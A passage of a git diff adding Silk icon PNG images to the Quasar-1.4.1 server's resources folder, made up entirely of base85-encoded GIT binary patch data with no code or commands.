zU8=5LQujKb`Z+F#fckUgU8t^YpU|s(=Orx83-p>b9R3rvXOE zXGG&B-+ooO{Lz1}<{Ou-vd(X^%s98zwd(4Pg-vb$w*;&H+vCLYZ>KBsBOtCoF~A`9 zG^2gV<=G&=nx~yX39Po5?5pQXZ2o`W+WY_CwH^Pzt|v5TWziw`K>00000NkvXXu0mjfI;~OA literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_go.png new file mode 100755 index 0000000000000000000000000000000000000000..75eba80d629fdc8279afbd40369813bae7548a52 GIT binary patch literal 700 zcmV;t0z>_YP)!+vDhPTEsU#vi5`}*=t3m zOG=I7^=;SgcAeD!1Q6)vqouCPiA6pkZI#eMm0J!{NC4PUm?hpST<@&f1R)!bRM!&q z1%jTh#a^c`HkBT$^xp|cDKystTu4&1uL89tXYt`@A7Z}-1r^Nk?%}ew0N})}Vd5!p zh06{&eLcPN&jvf|?%j_t-4wV@q*jnhLO~T6xa3&3{~%b}h$K&2L(~1#$j-4MH9=4J!Xg9B zNTQXxa^zxPJ{1%~3KZm(p)l_d4to5^GPB{!Eykz00Sx@;|CVORC)<_j>Qld@jDaZz zDi|uf)y66RB@EBLNAE=UC=&?9!`deQ+r~h(G`SI(6vnfMgxg){D+Lwutc1Si0swhN#FwOv#}l83ts6rCW;r!9Q9l zl<41549yYiq6clJ;(J(YgF_14nmKFB@QK(mo6I~sr{BJxJ$rsp0HSt^ntND0Z;o48 z>O2Ckm9}n?$F`*>$L{;{zT>f+bCm7tpaqw^4q@%k z&cHHt3=3xZmt6rQ_dtDM#)Xwp66-Thu=<9?(zFvpy0gAr0U4Z3smE5f@pZNr!NoqT zEjSPuCQzMw(H;?yvf{+e;!7(;4hv)+d%cjKFiBL%egy0aeCof8z<>rLEjMsF|CBRH z86WcxAYvS6H;Yq)jY1Z-rrjWiu~m;clLmJlDAE7UhMJ*jBxp}s&nQkrZvqDXxsiv3 zSJ78>4W2GFIu$$+Ic&5Pq{1?zhIy(24enCZy35e>z6~XgVx$x%k(+>tPw)9SL~R?4 zs${`1bqjTFC3F)dxIIw>)!QP7$vk+;^#2c5r{lsjtwKYnfnn+j{~{GK;|I8rvPFU z5NbS#W7m)ofjNER&&ggR6fXi0xd4%4143#8JZlhXW+2TN#8b=5@L&-EUlY^cTT=>w zb_~+jfcRCYfdj}H0J49#sP#gtxE~%YBJiQ3AjMgoQJKuMITA}Iz|zizG7pw|7R*XF j=$D`QjOCK>V3B}dL4UFUkhgq600000NkvXXu0mjf1x-zB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_add.png new file mode 100755 index 0000000000000000000000000000000000000000..06c5350cb197e64439aa1d0b1aa438b013c2f4a1 GIT binary patch literal 807 zcmV+?1K9kDP)mo3jW}i{%_@b6dHYnoXT!P3L{yXgdAxrsZYf zWtGn6Fta7-gNCWosY{E%J)~Q2p<+ThPn(n)hWUlVmmfdQ=X*FL0HnPnjy}$wR(mbZ zx1PY9#(k}c=g|-q=yB-J|DI-E_(_Vj+1;_w=7ycBOZBYY7odT8j9BROhpm@`AH$Wf z>4LGKJq3%}^ZUL4s_3JYc5^Qlhg4WIKg05S73L>;&|mCl-4}ow9>bk!$=q0)?0{po z6Dt-y>;nXf60Yk03E+~w*h+TjBEcX-#iFbw(|yMXVd_u2j*qWhg|HiPFH0JTB?qXs01CQi` z;2Ti-Qit3|Ed+!H^&_hgDCQAga(%sPx*A;3V83xD&;twuaL1LRd=9a^ zDBPBMqtckTdD*pHZzn)X`rMop)Kf&w4y3i{{nJN5&YN;-8f5V#Lb6Tpyz#;+&q^#v l5PBP&h9y_*-@Dw^-!JB5sxM9&*;W7m002ovPDHLkV1kg{c8>r6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..4489ca238aa5ca3fa16cca8789fbeb1907750dba GIT binary patch literal 827 zcmV-B1H}A^P) z^gW64MQdglX6sW?C*VL5#6(%7Cn_gWAsZ9nu_h6Dnj|#6l_NnJ2bU-(VpkyL(wpA* zDE1YmNMWFG><;oZLS&C5;O z(5&@-0`51qAgw|Hp`;4WhBqOUE~1fXvARLRkgx!e1^I}EFAv?(=}DcZ(7ekyocNCQ z_BjJ`W&!>%5Znv+cK}=k$@Bx=9%e9VTCsO6XPhF>O^uYP9LMd^<`M{A=n|`AZJDm8A+@B2c=23){C>RO^S&eiq`i_&3*gLFg*Ys& z$Fa~9xYfuDs*ec|I`rp#PnbtNL71BZJ=V5k*qxfRVDY{L_3R@Ot11jObuwJzWw0ru zU~NAMT~+Yvz65gG;WE2M4abNaTbifX7?s2Fz88Z}&YAZmh^5AH^(~n{*R=|G3@SKv zov;r{kjJ{D^efayZSe;Q|wDjs1pP)Sc{BUjR zEvRx6p>NAZE1wPtlR$L}1+T|g_&S$^&E;XJyT=(6E)4a4>E9#$sPVQ5aoWE~SGS`+216GGRQb4p}yUaTmb-qIPCF$G%mQ53R6(O+~O4MjS-Hi@Y*UVP^F;y2&VGtc+Y0id%HQI2~lo!JJn!zKG5 zFVI!z2kGV7Tj_24^S@y@$ZkJrpjdZ#q;wC~^2A@Cu_-|=c{g*U+yV-r4~T|TD0ns) zDLa6!Z2g%{30RK1Qk88&%+|A@ZY#vx2Ns4~1&}0|4Qxu_V0WD=V~4JMZ|7pUyBw;n z3Mi#a#NRl}`>%j%Ye31OoSS8O*n;IrQu{iaHZvpqmy|pjhAQKrtcpfmP5_Sh7z-@J zOm?gjkZlfaFk}aeN~X|Y+m=& z_X^5my&x-%LJ7?YOb-&C2V6j>n2f1j4usO1NNEWL=W{NCD*|EdYsp#_WIF3}dL?E5 z6jqaS5fj~PsDJdKqw*Tk>b*g4^aF+E2|3Gtd1YYaBx67niN*0E5PcNXCYxb?FaqD?0yJfwlr?6Y*r~mO zu3e6kQxIQO)xC^F8Q{|dP$X(p7x`jFQ{4R5+faRR`Ax5fW)%hoYnZ5iU>>6tbR=5* zZ00@&?UfQ_AwaHJ!NbCG4A!P$aWq>yUDfNZS;1WU5^_Hf%1YEGn2y!N85`*gWSmiO zlS1Gc(*Wul&Gc$OoOv0MGh30ynW&|AjTR-*hY3xH5YY_?QG`D6E?n>ZFMQg< UUKwzvZ2$lO07*qoM6N<$g6uMT`~Uy| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_gear.png new file mode 100755 index 0000000000000000000000000000000000000000..2544f2e637a3d3891b482d994a99b11a65526958 GIT binary patch literal 824 zcmV-81IPS{P)FgJR)_jt=7u%giVi!tIp5Wsn{YCIwmH&0TjuHt39I@th`siH>$zv2L%>B60ntAn%xs1DdBd8TgzSlHr59J zWINVeCV1=;6sKJ^{uhuz31`V!*H$D93KVzZeH>cEu;fYBPmhs@FC9X7I{9$a-^T^^ zIU*|W{GlBHX6)&BIqSN=Hid%iYOKkHR9TAdZUSbr866W^l-Y_AAvmkP$U76V1*oB2 zc0A`KqP^%Y+%1LB@u)C76~JmCpdG4!-EK#3Z!g3SA@s%;JTp`yh7+aO0?26O))||A zM`2d071Ptxu-R;IyWN2#vCwG~345S5jc8)pm- z4uUV{W9h}szkvN$#QC!P?5)B!7rkCDL?RLH8R*E=(;=&qVt#%e1VNy@y!?-OU#uZL zi8r!p_X48VM(`W;(CKu6;<_<6HwTqUg+p=5kl?OdE?=IQn1E8L1e?tUDKw#;O3gK| zbx!(G>IT?@K$;y$eftA~<`E1G44|i{2XaNdPbQNscXf54udff;+1aW9;0VcC8u@Fu zO$y!{511B!XXf$v*96O9v%V!u~mfrM_A(pRtvLg z6HJ#;mP>i&#lFtwyMMiJ3G=*7X)`Ly>RiQPY))aMg=|}bVy3ZtuFetjt!#Yl%f`Ic z4Re~Km?*ILye$Fgzdu_)(u##{63Zh>EcTF?ecgig6uX&i3H-coa3;$itbG}+#p+ZY zmL_!2cgP_Lxv2f8fJ3!n<+Cm=$b+dMLutzq44Xmu!^rP?Egv5mlA&)Dp-XWWXW6G) zoMO-H`$NEVv!vy-JXU3aRBTR(l!x5HRAlCfkoY7P4R6Yk)-HjK*t*P?e|+zTK+3T1 zdKPgFbxC2EtPn!Yr$Zi0gM#aU(h(t|)UIHc+97=)8Z~c=5v_}YON0}-A;@D`)Vy!k z{8gAHo(k!39Kw~3NN&0bhT;U`dbwbcp_nFp|6dqSeF67W=fG7ufK_Y@VLcty138GP zxr)ouLkN&EFkj^JTd>0+N029o+9)hi^!Uz zi4}t4t)SC+%}b3_t4N&$*!@6A2M}0v5>@>&s0|BL_GF=?JHsHkgMv;8IBG9YM8qc( z0bxswr8=$**5-m=uLrXgVCvQos9D4H0&`r+F$GO}5N?kTAf(h4k07*qoM6N<$f?!vBasU7T literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_key.png new file mode 100755 index 0000000000000000000000000000000000000000..257f111ca8b746ca6dcfc618cff50450c5b528b0 GIT binary patch literal 813 zcmV+|1JeA7P)^BE6mGC3Yb4)(b)otU zX3K2MrEJ?`KUdphf9?l9vwhD}G?g}6i#4aQI|Z?J*@ps(nWsdHP0rA&B0zL!LMwO2 zqRa}T`F1}J1xSKVX6lAiSp6)4d8izQP6-wUThW$sS#u~L(D!cSSk<%bwc$o=jW@wK zs)Vjxgk*-Nd|x1vY|qML-Ch-iks%4En4?1+`$R8df9m8M%)fpGU2_sTq>tegak14U z-r>YQ0Mq>(C6DE`l}#sOcS^F@$Sn{cL(GLT*B|38G}I`<;mEsCc8PQT_zsX2a;2j% z+8<5)hZw8jqMAd6D2xJWlov{exM+Dp#c~fDWp zm@JVDx#}L4K8C@(Qi+vOK9;+9n5YQAP@2d83rkN4MyJ9Lo8RlOq2*yiUx<}q9*8+U zrlg*KfumP*62u8{dkS-)K1W4~57uYWL41pWX^sOz!vrx!ML*xoL;^rM;$HhGkkfBy z*8{?OIg(0bh!>Tiwrv2t)lpE(Lk(+_3=q?PFwM|moS>qg?_{b7wWg75e5F(>yT#Z% zz6HS;5b*_Iv;)HW7JMoT2QgOwc#t1bo`+H$O^uY(x#!GQP%3g~tZR6&*&?F=i6ogry*ZfP4+pMu8g zM&x^d^%h_#fi49bn@d6%C-0y;#{<2>o7iuyq{+%Cx7OsqL|1B+()md*$UHU3yb+|O rzC?FX0Nx3`%|&ru4YQ>*`hLJ~_forVmOT^)00000NkvXXu0mjfWV&c+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_link.png new file mode 100755 index 0000000000000000000000000000000000000000..c77ed8812e4523f5dffd636de73f257c5905ad5d GIT binary patch literal 858 zcmV-g1Eu_lP)`6pHR5;6x z&|6HBVHgK+>Y|If=&FlO7iNcxvUSio=LLOXuJAyRCe1uhAOkGKFHur7QOPVqJ`K#x zLsO(w5L;u_=1fOTr;z2bHRU1|*VatUY%2YWZ|k&L^Wwifd*1i?ZO_91!1!PC;{%1QW1meMY0UgO z|Ed+fQ5zPA?C?ILph-Sv{U?w{>=E1%9G|0-2pCgYE0TnuekxnG?6s13*Io$kLp7XL z={P9b?+D2{u;~vVC44vQjv&HUo=D*L)avD^xLb@Hm1-2+%0l~aBT70o2+H4Ae~8?> z@h6~9IO439oQCb%MT|7%!A!=3N@Af(9D%xlJeb_sxb0G))Rl>ru^MF9FCk14V*CkI zCIq&;?X>)LFw0c}dUpcatE?2YwYA7s zXXEBmC2l@fqTqTi-779Ff*@Z2k16UGu>Pn)MP;WiSE!Og1GlTK*addTcL9NY$ zQcGfFY?$sjolg4CC6^E#9Rra_1d5`dQmN=V zDk^G~&*wY*2uYG383F97_;~rF#fPIl@YUrgEY{M%S^F0pi#Umnjt;opZgh8d!)mpH z$z(2YIGl}sK%>ztFGNk3Ci@9Ft^xYv)N!WnV?W8kdu=`*Zy8}bMptC zPB$A96En(q(;yCWXn0pc;~VY4@?H>`4xHj9;(|y5sq8YO()6#SFsZFNm#>w{Wb@y% kBoqoivDs|T_jL|^1L{1O_lxzn82|tP07*qoM6N<$g0nk}s{jB1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart.png new file mode 100755 index 0000000000000000000000000000000000000000..d9ee53e590a68a95a9fa9483f0ebd14f3f25bb72 GIT binary patch literal 749 zcmV{UrO36YoGex>*KgTU04Sb0lNGJEiq?mmQbVHD$?08PR{#RY@(Jtf90i82`&dI!dW7jO<!P=IT3`*tHLxxjwl=}>+*)uJ zQXzyPPN^^yrLNn-L6|)gDrKnEAdbPP1a+KXt(F*+N-)2L{Eb_PQs+ab)QQT6Pw(ST zBha=K(orHRSCfHi4O9%(3e<(Lb`^!uF>+VB$3*L{zr`0-_;)Y*n?E-k7dr!rf-5ve?cY>d<{Q2T>(phfG`V$89Qfr0$5PaI$GcI;T;lseVaJa_ff4eP;K@^|hsa{cCz zXuY%j{{3s?^}(OQ^lJ0wCa2U<(RxpI&Wzye%Qu%q>x1omeM7&Az4w3Z$LrQ@df3^y f|6iKmf8+cE7K65BSFA1B00000NkvXXu0mjfxAtvo literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_add.png new file mode 100755 index 0000000000000000000000000000000000000000..d4195ff80251f62483a2759d15559b4393fdf7bd GIT binary patch literal 820 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 Hu0mjf$tY@` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_go.png new file mode 100755 index 0000000000000000000000000000000000000000..b2d3a98bc4688cdfa1dc3ae3723a5a65e0e0df9b GIT binary patch literal 866 zcmV-o1D*VdP)EzKo)jY&y1zSlD`B1nde zmwy#mhVwyd0QaI z|0IfHZz3l>9_idFYXd<4)DCI{(lIq=m)5YN(P4E>hdI?c`X*M;CSS(ztQxWzHOkv( zkX|_~*eDwS`Uv}%ONIR^-3VD$u4*wczlMRyRSc1$`0FAvg`>Jx6~iT)%Ub~Y@H!Uk z%R1&|pJhuJ{h^`Dm7R0Q5XuMBDu(R;EN=sBq_9cR&@NY^ZFmVxfn21Y`E$;x?z8OR znP+4AUqErww4`%P2`K@jl@B%OXWlG3RW$!LT(geDg?ZTYuYf}Fv;(hIA@3etLLk=> z0dLO3k9`JSdA5isy@hwJsR(}Wf-5Npw2n!8&9(qI4O6@i&C|Le#R~ls4Ycx>BnbTR ztkMTjd@saQ_##Ub3%7!cuzEtRQ$;mB*4%~()b;;_VsVWwYjwb#+!J`)!T`7VCD=`g z$QQ>G$U|g`V&KEQ3d=}JaWIs!rCsP1W}#6chUCjE#%7kWpwi$*<`G;=Jp`we{kV{{ z2Oca3WYkCD9>*ES!i?1Bp_KJDnf~R1-P4`$WIN$hxG_RJc1bteXwaD`EF%gle=AJ8 sKor&zg_Twjl+Gf22ZHXJMsL>n7d!LPMJ&Eto&W#<07*qoM6N<$g0UNkpa1{> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_link.png new file mode 100755 index 0000000000000000000000000000000000000000..ecc59b0abe2c63a263c3c1ff9cf35a88575c129a GIT binary patch literal 871 zcmV-t1DO1YP)Oo{xzq%%#lJ z5=G}XEzwPzy2?K1rp|e`oX6$dN zltkh~-UIZBZXYRxZq~-QYh>l)iwarDxtQF*vrYh5G%RYEnClY5JS4-4wgPLq8mvxK z!!lBaMO7h8?{h)6i7{C#0Ff68Io}nOfN%(=YoARV3zo;qD9W)kT!MuG8RoikK(=N; z-;fM#Sprm9A&ej|XR@c3qzmy4yd(3t&J+~WfX^9Kxxz! zG^7TgRGJQHU6->%KtFvmhuvfI2Uy#-Vein6eVZNYJ3ldH-ovPI7lyS1kgEr1*Q`R? zY3M!D_nA=^gtVHEi8Kf_cjZ{n9>Wsi6An4-_d)_JR(B{ABo)fTmUZ-K9;t zMSdi=VcIxk!ky#mC{!9}BptIZzlZ-298*8EGN>_HF>2U`tlOyi+sr=&jYG@Beb6Pn+cQYO>;Z4va(TGS&7uN3?!HLEeNFw-^9d3lJ2FYrETzdyr-_N zu4f$K+CfWe6R~K|m6jquKOYv01tdvgU|<00uXB<3Di8Y4UykS=K@iLgo6XK-!quuJ zWshzh^3Gleg+gd_I*7&T@bmKnhr@wHB7s04U}|4B+a44Y)JaPc5)!sp4Lv&Nx1KIqEP)v;U&v3%|^C`Ga3?LtY&4dQB4Oz;1v;J%z!D&%WRH@BZ?x; z3)8@IUIv@hG|@IwyHLC`l{1<4BK>wam95g|i|?Cfzt876&-Zx_0f5*l-9`IJI&mHu zE6$@xB)6N}7VeR;!X8D!TAw;;&0Bsj?A071cO>X3K0wl7WZ1;Tg!4LHyNcnzoeQ7t zNW`aSlm8WXYkek&ir$13=ngczvf zV0vnjNpCF&K8px}dunv+`LIb-sOC$_jD(;IBI$xC|7`(+9cA>Vir_V#z{?k7SX^Ah z^71m~W@q439Ycqfhi7+gp#A14n1n1!e>$EdeATG|f798Y=ggzwEKH2Q!qU2QA(Se?dwqG69%>n$6rtE z%F(845Az8c{w(XgimJg96!jLMz?zS6I1HUm2baqQx7&@nx;lhHA!r6vs2|fqJETOu zLxeu2OQ(3(au%dg>AcZsWI(zXn9XJg1cLe8k~0h0wOL=&HK}7X k{AKr*U4z7Szv)i%9gTgghwgU$Q~&?~07*qoM6N<$g31kYk^lez literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/house_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/house_go.png new file mode 100755 index 0000000000000000000000000000000000000000..5457dbd3cdfea5274b7c38c9373f4e838993416b GIT binary patch literal 861 zcmV-j1ETziP)XFYYOQsT3iq4v1n+*XGK$uN_ml6wuh-}MeSh~Q01%s{EBOdX$6CW< zSZmUq$gTEm39ESwqbA*Pu_w!UQJa0#sLgdF|4X1waUf~Xq?55Q-js;f%_-2AhoZ0G zn5nPOll-SZljcbFWICIM3lC zEEtmy)1j{jgI45)$6{~jDx)ygB0#?)5-ogB>R!4Bxk1pIqzj_-#Z594E_n3B5+myaFFO8t#FTCz}2nMbp zxtjxyA`V8Q5uw#K2vqEWU+FG*$*d4pe;ieVLU0=WVJF&w@Y(=4@$A17^yGm+h3{uC zp}XNE&x;Da8uXRR<$jPzB#=s_pnE}aaWNe7x364K`oT8Ga>ZTXFhRrL4qUPsAh!CZ nf5t{Y%+1%WmpxfLca*mw0K_85Qj7(Qf zhc;c}922^zIU~GfWrBWCw_J`0J^kKa7w|$a9C$d-dCvR1=Vbw4?T4%U1l6aETXC!7 zqXW8xsHf)iil^=jb(r=5(N}Sjq6b4hD<4yxa=d#|fk2BGL-nblAxj$dUjw%)o*K|5 zgvM+FOm``1s4(5FLGW1({Ei|F)Tf8shIHys1GnZBHK0a0{7;Xq41f=)fXY9Tzgxp?#X71r0+vAMa4h51=@YR|!G z6v2B>frnM+VJ(OYTZFL`Ysio?9%#Gx=baLII2%)wZ?Unl!3_V!{M;-Y(lp#x=AgH+ z7_HJw)No?PS#+{|k0pJ_*DgVyk-hur#@ANjK;=BhNF97xm;ewX0wm(F)*9WTMmZAWBP1i2yR049(5W%od~; z2nCSH3%7_#rMmJviyr=}?7xB9kxGav_%PL*7z46;PEHQIUN0slCgAh=(9_d{Y#tYN zUNy6Y!DIl7zIo(=o%1Ebm^_|ZkQ|kj$##iBNl6K~TrPM#9>iiX15$Ii9EggAAz~mc zlm6V3!EySCM4}Hin{BhJt83lqbTV&OsZ`8QkeYC$M>Isc#~>yq=15jnRzhxW?vhk0 ujVKg~D2*QyiR226Y`XqNIMO2;qWuMC>Xau@Fa^s10000aI= literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/html.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html.png new file mode 100755 index 0000000000000000000000000000000000000000..55d1072eafda48abb0a5fcecb98b114d866077b9 GIT binary patch literal 578 zcmV-I0=@l-P)dis)>+`f+#3Rv=dSV4I&~|Vk?LiBG~#L1X~NSQGbAyogj#ie_$n8 z*oYwUieR#5zw>=_v)By?+NE%sVPM|5yzfjE5$wfk_Go)9(A<0e{hvFiJ0eb2MFf%t zDJxl&RDw>Nl#~WweRba-&_F#fn|ifCG!S=00#QfIDe64k{5mZFusu=CnSq>Qvt$j5 zI$4b(K~|@Tvozn3#yaJ|Be;BKfh@+AwFR!7UF7D*61OfavvGQ!VN-Ga+zO*%#qEoS z8E0dX4NpRyRS|XCrXq{e4r(61{zg^7gBPDUwmjg}k(Q%NLkD6fm6*tZ=)6^ARRw9CNHr!!-b)EovamKwdDMpr>=!|-tf?S+boQE&JP}G_9P5@nR zSOjlBPI$jHA&U_KsTjQko(uJ_ROpKn!K^ckXTHmZd+_Mh7C&~BUYvvb=Xi2w6%i+L zP+hwJF0QUE^66)$h?CXHvdjEbu3a_69GS^`e5Gac*$0~K9VHcGVKhe>RE(rT+Ca5J zv_?D-3(OpKFrQAl`$E;pyKkaTN=V?@iK2u!kqwFy=F?aM-2b}R>c4;EZ`t2+*gqpJ QK>z>%07*qoM6N<$f@8}2CIA2c literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_add.png new file mode 100755 index 0000000000000000000000000000000000000000..f1c08b7d6895600e813d05db9ff339f56289b9da GIT binary patch literal 698 zcmV;r0!96aP)GYch2$-=^h zQVJ0^k`=iwScsT0WZcd--+ABnd7lTRY!o%WUt(rVM9KuEOi*_8;z#2zM3oQ}Cqf8N zh*3Df1)=ap9+aXGGJaax+r}S;s1c(fYDhGK7(tZ~j37#giWlX~?NKs*`!+5_1yMty z;-e8n31WCroJ4#uoG3mhoz;w@A*B4IW(@Y#a3QjxzsA<(9qd@y$nHnKc$&TqGsvA_1`Q{e zLGB`|#<`p4>6!C@!GR@oclL7U*=6oOy+D2X3zD_Rp4+DW4&IJAd{CSyE*M@ECyE!P zT@SKl<2op%Y+kgVp<8<>k#gbEHPUb2g~CT_ttD!cO0>6?=%|*cS4&K*W^_#{^QAFL zIjORF(SCk8xb_V5yZT7dKsHtcPF{V71w)-;Ua+8;i{KTDO3&iYJR82pqv5+88a&7G z8@p&NRWL1+m>K`FY~QS7-SgTHujpGv?~Hz4zJJKQ$9H-A>g!NqX8ez3`(_;n_5wBF gJ8Bpk0QT%*y_loy;s5{u07*qoM6N<$f-kT=jQ{`u literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..1bd28489e55af96b73429471606072a80143216b GIT binary patch literal 688 zcmV;h0#E&kP)P}pU>|WE!{&llBw4ut;O*J;G z?4X<_99Tb_)^ftJ&2y={NW(?62&7JgAW9`ma6zfGq}+P;gCv0~55KdZ*20SU6}qZr z+RG_R=2Xa=ks>IX3t8@jrYMz`go7JvWNAX~1T&-VBC626yaNN8L8&(*4IgnK#qvm6 zFAV3E!YkJv58_2>G!+B#W+a;N{%eB|cdxVd-d5i2Yv)Msc9wm-jXF>EtMD{^8)i&S zhWaGuE~09@zH^nG>2o$6K2BxnDvEbc`Oy1}x7Hxpa_OV(T{DYsqYfVwCyEPyoS!(? z;l5q$IeD74&o80B4`$3{BwNgrC!fg1#)ZO1I$KNlmW0-j5Gsa9LXec8Ml~Oxb>33g zb>{B}UYO53ev*wAfg6wev0$iE%nKG2a}m5^QQ2Cq(s=WT_6MhM#UKq}e5}MsQX`p4 z8vA;>E|fdl&n>J;mZjeq9~Qn0m11bx`DChbe$}(+Y(6@0q7;+Gv1I)QH+MXh%fA7S WOLjj|mpRh_0000a3s>5r;x& 